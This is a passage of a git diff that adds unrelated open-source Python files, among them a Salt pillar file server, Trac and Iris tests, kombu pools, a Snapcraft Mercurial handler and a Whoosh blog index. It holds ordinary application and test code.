pillar roots +directories on the master server. +''' + +# Import python libs +import os + +# Import salt libs +import salt.utils + + +def find(path, saltenv='base', env=None): + ''' + Return a dict of the files located with the given path and environment + ''' + if env is not None: + salt.utils.warn_until( + 'Boron', + 'Passing a salt environment should be done using \'saltenv\' ' + 'not \'env\'. This functionality will be removed in Salt Boron.' + ) + # Backwards compatibility + saltenv = env + + # Return a list of paths + text or bin + ret = [] + if saltenv not in __opts__['pillar_roots']: + return ret + for root in __opts__['pillar_roots'][saltenv]: + full = os.path.join(root, path) + if os.path.isfile(full): + # Add it to the dict + with salt.utils.fopen(full, 'rb') as fp_: + if salt.utils.istextfile(fp_): + ret.append({full: 'txt'}) + else: + ret.append({full: 'bin'}) + return ret + + +def list_env(saltenv='base', env=None): + ''' + Return all of the file paths found in an environment + ''' + if env is not None: + salt.utils.warn_until( + 'Boron', + 'Passing a salt environment should be done using \'saltenv\' ' + 'not \'env\'. This functionality will be removed in Salt Boron.' + ) + # Backwards compatibility + saltenv = env + + ret = {} + if saltenv not in __opts__['pillar_roots']: + return ret + for f_root in __opts__['pillar_roots'][saltenv]: + ret[f_root] = {} + for root, dirs, files in os.walk(f_root): + sub = ret[f_root] + if root != f_root: + # grab subroot ref + sroot = root + above = [] + # Populate the above dict + while not os.path.samefile(sroot, f_root): + base = os.path.basename(sroot) + if base: + above.insert(0, base) + sroot = os.path.dirname(sroot) + for aroot in above: + sub = sub[aroot] + for dir_ in dirs: + sub[dir_] = {} + for fn_ in files: + sub[fn_] = 'f' + return ret + + +def list_roots(): + ''' + Return all of the files names in all available environments + ''' + ret = {} + for saltenv in __opts__['pillar_roots']: + ret[saltenv] = [] + ret[saltenv].append(list_env(saltenv)) + return ret + + +def read(path, saltenv='base', env=None): + ''' + Read the contents of a text file, if the file is binary then + ''' + if env is not None: + salt.utils.warn_until( + 'Boron', + 'Passing a salt environment should be done using \'saltenv\' ' + 'not \'env\'. This functionality will be removed in Salt Boron.' + ) + # Backwards compatibility + saltenv = env + + # Return a dict of paths + content + ret = [] + files = find(path, saltenv) + for fn_ in files: + full = fn_.keys()[0] + form = fn_[full] + if form == 'txt': + with salt.utils.fopen(full, 'rb') as fp_: + ret.append({full: fp_.read()}) + return ret + + +def write(data, path, saltenv='base', index=0, env=None): + ''' + Write the named file, by default the first file found is written, but the + index of the file can be specified to write to a lower priority file root + ''' + if env is not None: + salt.utils.warn_until( + 'Boron', + 'Passing a salt environment should be done using \'saltenv\' ' + 'not \'env\'. This functionality will be removed in Salt Boron.' + ) + # Backwards compatibility + saltenv = env + + if saltenv not in __opts__['pillar_roots']: + return 'Named environment {0} is not present'.format(saltenv) + if len(__opts__['pillar_roots'][saltenv]) <= index: + return 'Specified index {0} in environment {1} is not present'.format( + index, saltenv) + if os.path.isabs(path): + return ('The path passed in {0} is not relative to the environment ' + '{1}').format(path, saltenv) + dest = os.path.join(__opts__['pillar_roots'][saltenv][index], path) + dest_dir = os.path.dirname(dest) + if not os.path.isdir(dest_dir): + os.makedirs(dest_dir) + with salt.utils.fopen(dest, 'w+') as fp_: + fp_.write(data) + return 'Wrote data to file {0}'.format(dest) diff --git a/pool/shard000/Python/0007981_test_save_messages.py b/pool/shard000/Python/0007981_test_save_messages.py new file mode 100644 index 0000000000000000000000000000000000000000..d6907a5c5616cdc99101e5ff9ae2d515532f302e --- /dev/null +++ b/pool/shard000/Python/0007981_test_save_messages.py @@ -0,0 +1,62 @@ +# (C) British Crown Copyright 2015, Met Office +# +# This file is part of Iris. +# +# Iris is free software: you can redistribute it and/or modify it under +# the terms of the GNU Lesser General Public License as published by the +# Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Iris is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public License +# along with Iris. If not, see . +"""Unit tests for the `iris.fileformats.grib.save_messages` function.""" + +from __future__ import (absolute_import, division, print_function) +from six.moves import (filter, input, map, range, zip) # noqa + +# Import iris.tests first so that some things can be initialised before +# importing anything else. +import iris.tests as tests + +import gribapi +import mock +from mock import call +import numpy as np + +import iris.fileformats.grib as grib + + +class TestSaveMessages(tests.IrisTest): + def setUp(self): + # Create a test object to stand in for a real PPField. + self.grib_message = gribapi.grib_new_from_samples("GRIB2") + + def test_save(self): + m = mock.mock_open() + with mock.patch('__builtin__.open', m, create=True): + # sending a MagicMock object to gribapi raises an AssertionError + # as the gribapi code does a type check + # this is deemed acceptable within the scope of this unit test + with self.assertRaises(AssertionError): + grib.save_messages([self.grib_message], 'foo.grib2') + self.assertTrue(call('foo.grib2', 'wb') in m.mock_calls) + + def test_save_append(self): + m = mock.mock_open() + with mock.patch('__builtin__.open', m, create=True): + # sending a MagicMock object to gribapi raises an AssertionError + # as the gribapi code does a type check + # this is deemed acceptable within the scope of this unit test + with self.assertRaises(AssertionError): + grib.save_messages([self.grib_message], 'foo.grib2', + append=True) + self.assertTrue(call('foo.grib2', 'ab') in m.mock_calls) + + +if __name__ == "__main__": + tests.main() diff --git a/pool/shard000/Python/0007982_functional.py b/pool/shard000/Python/0007982_functional.py new file mode 100644 index 0000000000000000000000000000000000000000..043cf37611cf7aeb89522f25c637e66e120d4a4b --- /dev/null +++ b/pool/shard000/Python/0007982_functional.py @@ -0,0 +1,202 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# +# Copyright (C) 2008-2013 Edgewall Software +# All rights reserved. +# +# This software is licensed as described in the file COPYING, which +# you should have received as part of this distribution. The terms +# are also available at http://trac.edgewall.org/wiki/TracLicense. +# +# This software consists of voluntary contributions made by many +# individuals. For the exact contribution history, see the revision +# history and logs, available at http://trac.edgewall.org/log/. + +import re +import unittest + +from trac.tests.functional import FunctionalTwillTestCaseSetup, \ + internal_error, tc + + +#TODO: split this into multiple smaller testcases +class TestPreferences(FunctionalTwillTestCaseSetup): + def runTest(self): + """Set preferences for admin user""" + self._tester.go_to_preferences() + tc.notfind('Your preferences have been saved.') + tc.formvalue('userprefs', 'name', ' System Administrator ') + tc.formvalue('userprefs', 'email', ' admin@example.com ') + tc.submit() + tc.find('Your preferences have been saved.') + self._tester.go_to_preferences("Date & Time") + tc.formvalue('userprefs', 'tz', 'GMT -10:00') + tc.submit() + tc.find('Your preferences have been saved.') + self._tester.go_to_preferences() + tc.notfind('Your preferences have been saved.') + tc.find('value="System Administrator"') + tc.find(r'value="admin@example\.com"') + self._tester.go_to_preferences("Date & Time") + tc.find('GMT -10:00') + + +class RegressionTestRev5785(FunctionalTwillTestCaseSetup): + def runTest(self): + """Test for regression of the fix in r5785""" + self._tester.go_to_preferences() + tc.submit('logout', 'logout') + tc.notfind(internal_error) # See [5785] + tc.follow('Login') + + +class RegressionTestTicket5765(FunctionalTwillTestCaseSetup): + def runTest(self): + """Test for regression of http://trac.edgewall.org/ticket/5765 + Unable to turn off 'Enable access keys' in Preferences + """ + self._tester.go_to_preferences("Keyboard Shortcuts") + tc.formvalue('userprefs', 'accesskeys', True) + tc.submit() + tc.find('name="accesskeys".*checked="checked"') + tc.formvalue('userprefs', 'accesskeys', False) + tc.submit() + tc.notfind('name="accesskeys".*checked="checked"') + + +class RegressionTestTicket11319(FunctionalTwillTestCaseSetup): + def runTest(self): + """Test for regression of http://trac.edgewall.org/ticket/11319 + Only alphanumeric characters can be used for session key in advanced + panel. + """ + try: + self._tester.logout() + self._tester.go_to_preferences('Advanced') + tc.formvalue('userprefs', 'newsid', 'śeśśion_id') + tc.submit('change') + tc.notfind(internal_error) + tc.find('Session ID must be alphanumeric') + self._tester.go_to_preferences('Advanced') + tc.formvalue('userprefs', 'loadsid', 'śeśśion_id') + tc.submit('restore') + tc.notfind(internal_error) + tc.find('Session ID must be alphanumeric') + finally: + self._tester.login('admin') + + +class RegressionTestTicket11337(FunctionalTwillTestCaseSetup): + def runTest(self): + """Test for regression of http://trac.edgewall.org/ticket/11337 + The preferences panel will only be visible when Babel is installed + or for a user that has `TRAC_ADMIN`. + """ + from trac.util.translation import has_babel, get_available_locales + + babel_hint = "Install Babel for extended language support." + catalog_hint = "Message catalogs have not been compiled." + language_select = '' + disabled_language_select = \ + '' + + self._tester.go_to_preferences("Language") + if has_babel: + tc.notfind(babel_hint) + if get_available_locales(): + tc.find(language_select) + tc.notfind(catalog_hint) + else: + tc.find(disabled_language_select) + tc.find(catalog_hint) + else: + tc.find(babel_hint) + tc.find(disabled_language_select) + tc.notfind(catalog_hint) + + # For users without TRAC_ADMIN, the Language tab should only be + # present when Babel is installed + self._tester.go_to_preferences() + language_tab = '' + try: + self._tester.logout() + if has_babel: + tc.find(language_tab) + tc.notfind(catalog_hint) + else: + tc.notfind(language_tab) + finally: + self._tester.login('admin') + + +class RegressionTestTicket11515(FunctionalTwillTestCaseSetup): + def runTest(self): + """Test for regression of http://trac.edgewall.org/ticket/11515 + Show a notice message with new language setting after it is changed. + """ + from trac.util.translation import has_babel, get_available_locales + from pkg_resources import resource_exists, resource_filename + + if not has_babel: + return + if not resource_exists('trac', 'locale'): + return + locale_dir = resource_filename('trac', 'locale') + from babel.support import Translations + string = 'Your preferences have been saved.' + translated = None + for second_locale in get_available_locales(): + tx = Translations.load(locale_dir, second_locale) + translated = tx.dgettext('messages', string) + if string != translated: + break # the locale has a translation + else: + return + + try: + self._tester.go_to_preferences('Language') + tc.formvalue('userprefs', 'language', second_locale) + tc.submit() + tc.find(re.escape(translated)) + finally: + tc.formvalue('userprefs', 'language', '') # revert to default + tc.submit() + tc.find('Your preferences have been saved') + + +class RegressionTestTicket11531(FunctionalTwillTestCaseSetup): + """Test for regression of http://trac.edgewall.org/ticket/11531 + PreferencesModule can be set as the default_handler.""" + def runTest(self): + default_handler = self._testenv.get_config('trac', 'default_handler') + self._testenv.set_config('trac', 'default_handler', + 'PreferencesModule') + try: + tc.go(self._tester.url) + tc.notfind(internal_error) + tc.find(r"\bPreferences\b") + finally: + self._testenv.set_config('trac', 'default_handler', + default_handler) + + +def functionalSuite(suite=None): + if not suite: + import trac.tests.functional + suite = trac.tests.functional.functionalSuite() + suite.addTest(TestPreferences()) + suite.addTest(RegressionTestRev5785()) + suite.addTest(RegressionTestTicket5765()) + suite.addTest(RegressionTestTicket11319()) + suite.addTest(RegressionTestTicket11337()) + suite.addTest(RegressionTestTicket11515()) + suite.addTest(RegressionTestTicket11531()) + return suite + + +suite = functionalSuite + + +if __name__ == '__main__': + unittest.main(defaultTest='suite') diff --git a/pool/shard000/Python/0007984_InwardSweep.py b/pool/shard000/Python/0007984_InwardSweep.py new file mode 100644 index 0000000000000000000000000000000000000000..032e95a707cbeb6f6e1c5edd9fb400c369472df8 --- /dev/null +++ b/pool/shard000/Python/0007984_InwardSweep.py @@ -0,0 +1,158 @@ +# ---------------------------------------------------------------------- +# Numenta Platform for Intelligent Computing (NuPIC) +# Copyright (C) 2013, Numenta, Inc. Unless you have purchased from +# Numenta, Inc. a separate commercial license for this software code, the +# following terms and conditions apply: +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License version 3 as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# See the GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see http://www.gnu.org/licenses. +# +# http://numenta.org/licenses/ +# ---------------------------------------------------------------------- + +from nupic.regions.ImageSensorExplorers.BaseExplorer import BaseExplorer +from nupic.math.cross import cross + + +class InwardSweep(BaseExplorer): + + """ + This explorer performs deterministic sweeps toward the center of the image. + The starting point of each sweep is a point along the edge of a block + of radius N pixels; the ending point of each sweep is the center of the + image. Based on simple geometry, there will always be a total of 8 * N + sweeps per image. + """ + + # Pre-computed table + _inwardNeighbors = tuple([delta for delta in cross([-1,0,1],[-1,0,1])]) + + def __init__(self, radius=4, numRepetitions=1, *args, **kwargs): + """ + @param radius: the distance from the center, in pixels, at which the + sweeps start; + @param numRepetitions: number of times to present each inward sweep. + """ + BaseExplorer.__init__(self, *args, **kwargs) + # Parameter checking + if type(radius) is not int or radius < 1: + raise RuntimeError("'radius' should be a positive integer") + if type(numRepetitions) is not int or numRepetitions < 1: + raise RuntimeError("'numRepetitions' should be a positive integer") + # Parameters + self._radius = radius + self._numRepetitions = numRepetitions + # Internal state + self._itersDone = 0 + + + def _computeNextPosn(self, iteration=None): + """ + Helper method that deterministically computes the next + inward sweep position. + """ + + radius = self._radius + if iteration is None: + iteration = self._itersDone + + # Take into account repetitions + iterCount = iteration // self._numRepetitions + + # numRadials are all the positions on the boundary + # Calculation 1) (2*radius+1)**2 - (2*radius-1)**2 + # Calculation 2) (2*radius+1)*4 - 4 + # numRadials, both ways is 8*radius + # And each radial is radius + 1 iterations + numRadialsPerCat = 8 * radius + numItersPerCat = numRadialsPerCat * (radius + 1) + catIndex = iterCount // numItersPerCat + catIterCount = iterCount % numItersPerCat + radialIndex = catIterCount // (radius + 1) + # Determine quadrants: 0 (top), 1 (right), 2 (bottom), 3 (left) + quadrantIndex = radialIndex // (2 * radius) + radialPosn = catIterCount % (radius + 1) + quadrantPosn = (radialIndex % (2 * radius)) + + # Determine start position of this radial + posnX, posnY = { + 0: (quadrantPosn - radius, -radius), + 1: (radius, quadrantPosn - radius), + 2: (radius - quadrantPosn, radius), + 3: (-radius, radius - quadrantPosn), + }[quadrantIndex] + + spokeIdx = iteration % (radius + 1) + for spokeIter in range(spokeIdx): + # Compute neighbor with minimal euclidean distance to center + neighbors = [(posnX + dx, posnY + dy) for dx, dy in self._inwardNeighbors] + posnX, posnY = min(neighbors, key=lambda a: a[0]**2+a[1]**2) + + self.position['reset'] = (spokeIdx == 0) + self.position['image'] = catIndex + self.position['offset'] = [posnX, posnY] + + # Debugging output to console + if False: + print "[%04d] %d: (%d, %d) %s" % ( \ + self._itersDone, + self.position['image'], + self.position['offset'][0], + self.position['offset'][1], + "RESET" if self.position['reset'] else "") + + # Update iteration count + self._itersDone = iteration + 1 + + + + def seek(self, iteration=None, position=None): + """ + Seek to the specified position or iteration. + + iteration -- Target iteration number (or None). + position -- Target position (or None). + + ImageSensor checks validity of inputs, checks that one (but not both) of + position and iteration are None, and checks that if position is not None, + at least one of its values is not None. + + Updates value of position. + """ + self._computeNextPosn(iteration=iteration) + + + def first(self): + """ + Set up the position. + + BaseExplorer picks image 0, offset (0,0), etc., but explorers that wish + to set a different first position should extend this method. Such explorers + may wish to call BaseExplorer.first(center=False), which initializes the + position tuple but does not call centerImage() (which could cause + unnecessary filtering to occur). + """ + BaseExplorer.first(self, center=False) + self._computeNextPosn(iteration=0) + + + def next(self, seeking=False): + """ + Go to the next position (next iteration). + + seeking -- Boolean that indicates whether the explorer is calling next() + from seek(). If True, the explorer should avoid unnecessary computation + that would not affect the seek command. The last call to next() from + seek() will be with seeking=False. + """ + BaseExplorer.next(self) + self._computeNextPosn() \ No newline at end of file diff --git a/pool/shard000/Python/0007987_package.py b/pool/shard000/Python/0007987_package.py new file mode 100644 index 0000000000000000000000000000000000000000..f7621512dee59196a0a542a8d6392e6e89898832 --- /dev/null +++ b/pool/shard000/Python/0007987_package.py @@ -0,0 +1,21 @@ +# Copyright 2013-2021 Lawrence Livermore National Security, LLC and other +# Spack Project Developers. See the top-level COPYRIGHT file for details. +# +# SPDX-License-Identifier: (Apache-2.0 OR MIT) + +from spack import * + + +class RPng(RPackage): + """This package provides an easy and simple way to read, write and display + bitmap images stored in the PNG format. It can read and write both files + and in-memory raw vectors.""" + + homepage = "https://www.rforge.net/png/" + url = "https://cloud.r-project.org/src/contrib/png_0.1-7.tar.gz" + list_url = "https://cloud.r-project.org/src/contrib/Archive/png" + + version('0.1-7', sha256='e269ff968f04384fc9421d17cfc7c10cf7756b11c2d6d126e9776f5aca65553c') + + depends_on('r@2.9.0:', type=('build', 'run')) + depends_on('libpng') diff --git a/pool/shard000/Python/0008004_pools.py b/pool/shard000/Python/0008004_pools.py new file mode 100644 index 0000000000000000000000000000000000000000..20ea9e369f403d112f9c7900cb19de7bf926894d --- /dev/null +++ b/pool/shard000/Python/0008004_pools.py @@ -0,0 +1,138 @@ +""" +kombu.pools +=========== + +Public resource pools. + +:copyright: (c) 2009 - 2011 by Ask Solem. +:license: BSD, see LICENSE for more details. + +""" +import os + +from itertools import chain + +from kombu.connection import Resource +from kombu.messaging import Producer +from kombu.utils import HashingDict + +__all__ = ["ProducerPool", "PoolGroup", "register_group", + "connections", "producers", "get_limit", "set_limit", "reset"] +_limit = [200] +_used = [False] +_groups = [] +use_global_limit = object() +disable_limit_protection = os.environ.get("KOMBU_DISABLE_LIMIT_PROTECTION") + + +class ProducerPool(Resource): + + def __init__(self, connections, *args, **kwargs): + self.connections = connections + super(ProducerPool, self).__init__(*args, **kwargs) + + def Producer(self, connection): + return Producer(connection) + + def create_producer(self): + connection = self.connections.acquire(block=True) + return self.Producer(connection) + + def new(self): + return lambda: self.create_producer() + + def setup(self): + if self.limit: + for _ in xrange(self.limit): + self._resource.put_nowait(self.new()) + + def prepare(self, p): + if callable(p): + p = p() + if not p.channel: + p.connection = self.connections.acquire(block=True) + p.revive(p.connection.default_channel) + return p + + def release(self, resource): + resource.connection.release() + resource.connection = resource.channel = None + super(ProducerPool, self).release(resource) + + +class PoolGroup(HashingDict): + + def __init__(self, limit=None): + self.limit = limit + + def create(self, resource, limit): + raise NotImplementedError("PoolGroups must define ``create``") + + def __missing__(self, resource): + limit = self.limit + if limit is use_global_limit: + limit = get_limit() + if not _used[0]: + _used[0] = True + k = self[resource] = self.create(resource, limit) + return k + + +def register_group(group): + _groups.append(group) + return group + + +class Connections(PoolGroup): + + def create(self, connection, limit): + return connection.Pool(limit=limit) +connections = register_group(Connections(limit=use_global_limit)) + + +class Producers(PoolGroup): + + def create(self, connection, limit): + return ProducerPool(connections[connection], limit=limit) +producers = register_group(Producers(limit=use_global_limit)) + + +def _all_pools(): + return chain(*[(g.itervalues() if g else iter([])) for g in _groups]) + + +def get_limit(): + return _limit[0] + + +def set_limit(limit, force=False, reset_after=False): + limit = limit or 0 + glimit = _limit[0] or 0 + if limit or 0 < glimit: + if not disable_limit_protection and (_used[0] and not force): + raise RuntimeError("Can't lower limit after pool in use.") + reset_after = True + if limit != glimit: + _limit[0] = limit + for pool in _all_pools(): + pool.limit = limit + if reset_after: + reset() + return limit + + +def reset(*args, **kwargs): + for pool in _all_pools(): + try: + pool.force_close_all() + except Exception: + pass + for group in _groups: + group.clear() + _used[0] = False + +try: + from multiprocessing.util import register_after_fork + register_after_fork(connections, reset) +except ImportError: + pass diff --git a/pool/shard000/Python/0008005_mercurial.py b/pool/shard000/Python/0008005_mercurial.py new file mode 100644 index 0000000000000000000000000000000000000000..1c34e7b9dfd36f14ff8ef8ef063e6cbd1f9598b4 --- /dev/null +++ b/pool/shard000/Python/0008005_mercurial.py @@ -0,0 +1,106 @@ +# -*- Mode:Python; indent-tabs-mode:nil; tab-width:4 -*- +# +# Copyright (C) 2015-2017 Canonical Ltd +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License version 3 as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +import os +import subprocess + +from . import errors +from ._base import Base + + +class Mercurial(Base): + def __init__( + self, + source, + source_dir, + source_tag=None, + source_commit=None, + source_branch=None, + source_depth=None, + source_checksum=None, + silent=False, + ): + super().__init__( + source, + source_dir, + source_tag, + source_commit, + source_branch, + source_depth, + source_checksum, + "hg", + ) + if source_tag and source_branch: + raise errors.SnapcraftSourceIncompatibleOptionsError( + "mercurial", ["source-tag", "source-branch"] + ) + if source_tag and source_commit: + raise errors.SnapcraftSourceIncompatibleOptionsError( + "mercurial", ["source-tag", "source-commit"] + ) + if source_branch and source_commit: + raise errors.SnapcraftSourceIncompatibleOptionsError( + "mercurial", ["source-branch", "source-commit"] + ) + if source_depth: + raise errors.SnapcraftSourceInvalidOptionError("mercurial", "source-depth") + if source_checksum: + raise errors.SnapcraftSourceInvalidOptionError( + "mercurial", "source-checksum" + ) + + self._call_kwargs = {} + if silent: + self._call_kwargs["stdout"] = subprocess.DEVNULL + self._call_kwargs["stderr"] = subprocess.DEVNULL + + def pull(self): + if os.path.exists(os.path.join(self.source_dir, ".hg")): + ref = [] + if self.source_tag: + ref = ["-r", self.source_tag] + elif self.source_commit: + ref = ["-r", self.source_commit] + elif self.source_branch: + ref = ["-b", self.source_branch] + cmd = [self.command, "pull"] + ref + [self.source] + else: + ref = [] + if self.source_tag or self.source_branch or self.source_commit: + ref = [ + "-u", + self.source_tag or self.source_branch or self.source_commit, + ] + cmd = [self.command, "clone"] + ref + [self.source, self.source_dir] + + self._run(cmd, **self._call_kwargs) + self.source_details = self._get_source_details() + + def _get_source_details(self): + tag = self.source_tag + commit = self.source_commit + branch = self.source_branch + source = self.source + + if not (tag or commit or branch): + commit = self._run_output(["hg", "id", self.source_dir]).split()[0] + + return { + "source-commit": commit, + "source-branch": branch, + "source": source, + "source-tag": tag, + } diff --git a/pool/shard000/Python/0008014_chart_widget.py b/pool/shard000/Python/0008014_chart_widget.py new file mode 100644 index 0000000000000000000000000000000000000000..0b5ec906f8e29c7d3f25b77d843d77b39a690a6b --- /dev/null +++ b/pool/shard000/Python/0008014_chart_widget.py @@ -0,0 +1,45 @@ +# from PyQt5 import QtChart +from PyQt5.QtChart import QChart, QChartView, QLineSeries +from PyQt5.QtGui import QPainter +from PyQt5.QtCore import Qt + + +class ChartWidget: + def __init__(self): + self.model = QChart() + self.view = QChartView() + + self.view.setChart(self.model) + + self.model.legend().setAlignment(Qt.AlignBottom) + self.view.setRenderHint(QPainter.Antialiasing) + + def show(self): + self.view.show() + + def exit(self): + self.view.close() + + @property + def title(self): + return self.model.title() + + @title.setter + def title(self, title): + self.model.setTitle(title) + + def add_series(self, x_list, y_list, name): + series = QLineSeries() + series.setName(name) + + for x, y in zip(x_list, y_list): + series.append(x, y) + + self.model.addSeries(series) + self.model.createDefaultAxes() + + # axis = QValueAxis() + # axis.setTitleText("Dose") + # + # self.model.setAxisX(axis, series) + # self.model.axisY(series).setTitleText("Dose") diff --git a/pool/shard000/Python/0008016_init__.py b/pool/shard000/Python/0008016_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..895fe1af01aa97c2dece043c8da0a330744c862b --- /dev/null +++ b/pool/shard000/Python/0008016_init__.py @@ -0,0 +1,199 @@ +import re +import os +import json +import datetime +import logging +from uuid import uuid4 + +from tornado import gen +from whoosh.analysis import StemmingAnalyzer, StopFilter +from whoosh.fields import * +from whoosh.index import create_in, exists_in, open_dir +from whoosh.writing import IndexingError + +from summer.utils import DotDict + +logger = logging.getLogger(__name__) + +IGNORE_WORDS = [] + +class SowingSchema(SchemaClass): + uuid = NUMERIC( + unique=True, stored=True, numtype=int, bits=64, signed=False) + + # -- Findable data + author = TEXT( + stored=True, sortable=True, field_boost=1.1) + pmeta = ID( # JSON-serializable meta data such as icons and pictures + stored=True) + + # -- Dates + modified = DATETIME( + stored=True, sortable=True) + created = DATETIME( + stored=True, sortable=True) + + # -- Article Things + banner = ID( + stored=True) + statics = ID( + stored=True) + topic = TEXT( + stored=True, field_boost=2.0, sortable=True) + slug = TEXT( + stored=True, sortable=True) + title = TEXT( + stored=True, field_boost=1.4, sortable=True) + keywords = KEYWORD( + stored=True, lowercase=True, commas=True, field_boost=1.2) + summary = TEXT( + stored=True, spelling=True, phrase=True, field_boost=1.1) + content = TEXT( + stored=True, spelling=True, phrase=True, field_boost=0.9, + analyzer=StemmingAnalyzer( + minsize=4, stoplist=IGNORE_WORDS, cachesize=1024*64) | StopFilter()) + + +def obtain_index(location, schema, index_name, force_new_index=False, read_only=False): + created_index = False + if not os.path.exists(location): + try: + os.makedirs(location) + except IOError as e: + raise e + else: + created_index = True + if created_index or force_new_index: + index = create_in(location, schema, indexname=index_name) + else: + if exists_in(location, indexname=index_name): + index = open_dir(location, index_name, readonly=read_only, schema=schema) + else: + raise EnvironmentError('no search index found at: ' + location) + return index + + +def clean_results(idx, results, query=None): + schema = idx.schema + ret, default_document = list(), get_default_schema(schema) + + metadata = DotDict() + + if hasattr(results, 'runtime'): + # regular search.search(..) method call + runtime = results.runtime + else: + if hasattr(results, 'results'): + # search.search_page(..) hides the underlying + # `results` object as a new attribute in a `ResultsPage` + # wrapper. + runtime = results.results.runtime + else: + # if we can't get the runtime, suggest a negative + # number...hopefully this doesn't happen and might + # be considered a bug if the runtime returns as -1 + runtime = -1 + + # round the runtime to the nearest 4th decimal place + metadata.search_time = round(runtime, 4) + + metadata.count = len(results) + metadata.query = str(query) + + for doc in results: + # create a copy of the default structure + # then replace the fields that exist in our + # returned document; this will also add any + # fields/columns that didn't exist in the original schema. + res = dict(default_document) + res.update(doc.items()) + + # convert the pmeta string (json) into a dict object + try: + m = '{}' if doc['pmeta'] is None else doc['pmeta'] + m = json.loads(m) + except Exception as e: + m = {} + finally: + res['pmeta'] = m + + # ensure we have a created date + if res['created'] is None: + res['created'] = res['modified'] + + ret.append(res) + + metadata.results = ret + + return metadata + + +def get_default_schema(schema, uuid=None, modified_date=None): + if uuid is None: + uuid = int(str(uuid4().int)[:8]) + + if modified_date is None: + modified_date = datetime.datetime.utcnow() + + ret_schema = dict().fromkeys(schema._fields) + + ret_schema['uuid'] = uuid + ret_schema['modified'] = modified_date + + return ret_schema + + +def slugify(title): + SLUG_REGEX = re.compile(r'[\w\d_]+') + slug_title = '-'.join(map(lambda x: x.lower(), SLUG_REGEX.findall(title))) + return slug_title + + +def document_slug(document): + # matches the BlogHandler pattern: + # .. /blog/([a-z]+)/(\d+)/(\d+)/(.*)/(\d+)/ + # .. /blog/topic/year/month/_slug_/uuid/ + doc = DotDict(document) + year = doc.modified.year + month = str(doc.modified.month).zfill(2) # 0-pad the month + + return r'/blog/{}/{}/{}/{}/{}'.format( + doc.topic, year, month, slugify(doc.title), doc.uuid) + + +@gen.coroutine +def write_index(idx, **fields): + try: + writer = idx.writer() + + # set the created and modified dates + fields['modified'] = fields['created'] = datetime.datetime.utcnow() + + writer.add_document(**fields) + writer.commit() + success = True + except (IndexError, IOError) as e: + logger.error(e) + success = False + return success + + +@gen.coroutine +def update_index(idx, is_delete=False, **fields): + try: + writer = idx.writer() + + # update modified by + fields['modified'] = datetime.datetime.utcnow() + + if is_delete: + writer.delete_by_term('uuid', fields.get('uuid')) + else: + writer.update_document(**fields) + writer.commit() + success = True + except (IndexError, IOError) as e: + logger.error(e) + success = False + return success + diff --git a/pool/shard000/Python/0008019_test_mymaps.py b/pool/shard000/Python/0008019_test_mymaps.py new file mode 100644 index 0000000000000000000000000000000000000000..3431a366f2a94c89be2fe0459fbd46d4d710310b --- /dev/null +++ b/pool/shard000/Python/0008019_test_mymaps.py @@ -0,0 +1,139 @@ +import unittest +from pyramid import testing +from pyramid.paster import get_app +from webtest import TestApp +from json import dumps as json_dumps +from geoportailv3_geoportal.scripts import lux_get_app + + +class TestMymaps(unittest.TestCase): + + def setUp(self): # noqa + self.app = lux_get_app('../../development.ini', 'name') + self.user_login = "" + self.user_password = "" + + def tearDown(self): # noqa + testing.tearDown() + + def test_maps(self): + testapp = TestApp(self.app) + + testapp.get('/mymaps/maps', status=401) + testapp.post('/login?login=%s&password=%s' + % (self.user_login, self.user_password), status=200) + resp = testapp.get('/mymaps/maps', status=200) + assert resp.content_type == 'application/json' + assert len(resp.json) >= 0 + + resp = testapp.post('/mymaps/create', + params={'features': + json_dumps( + {"type": "FeatureCollection", # noqa + "features": [{"type": "Feature", + "properties": {"name": "test mymaps ligne", + "description": "test ligne desc", + "image": "", + "thumbnail": "", + "color": "#FF6600", + "stroke": 3, + "isLabel": False, + "showOrientation": False, + "linestyle": 1}, + "geometry": {"type": "LineString", + "coordinates": [[66000, 88750], + [84500, 90750], + [98000, 89750], + [74000, 107750]]}}]}), + 'zoom': 0, + 'X': 105000, + 'Y': 80000, + 'layers': '', + 'layers_indices': '7,8', + 'layers_opacity': '1,1', + 'layers_visibility': 'true,true', + 'bgOpacity': '', + 'bgLayer': 'webbasemap', + 'uuid': '', + 'theme': 'main', + 'title': 'test mymaps', + 'description': 'test description', + 'label': '', + 'category_id': ''}, status=200) + assert resp.json['success'] is True + assert len(resp.json["uuid"]) > 0 + + map_id = resp.json["uuid"] + testapp.get('/mymaps/map/bad_id', status=404) + resp = testapp.get('/mymaps/map/' + map_id, status=200) + assert len(resp.json) > 0 + assert resp.json["uuid"] == map_id + assert resp.json["user_login"] == self.user_login + assert resp.json["title"] == 'test mymaps' + + resp = testapp.get('/mymaps/delete/bad_id' + map_id, status=404) + resp = testapp.get('/mymaps/delete/' + map_id, status=404) + resp = testapp.post('/mymaps/delete/' + map_id, status=404) + testapp.get('/logout', status=200) + resp = testapp.delete('/mymaps/delete/' + map_id, status=401) + + testapp.post('/login?login=%s&password=%s' + % (self.user_login, self.user_password), status=200) + testapp.put('/mymaps/update/' + map_id, + params={'features': + json_dumps( + {"type": "FeatureCollection", # noqa + "features": [{"type": "Feature", + "properties": {"name": "updated Feature", + "description": "updated description", + "image": "", + "thumbnail": "", + "color": "#FF6600", + "stroke": 3, + "isLabel": False, + "showOrientation": False, + "linestyle": 1}, + "geometry": {"type": "LineString", + "coordinates": [[66000, 88750], + [84500, 90750], + [98000, 89750], + [74000, 107750]]}}]}), + 'zoom': 0, + 'X': 105000, + 'Y': 80000, + 'layers': '', 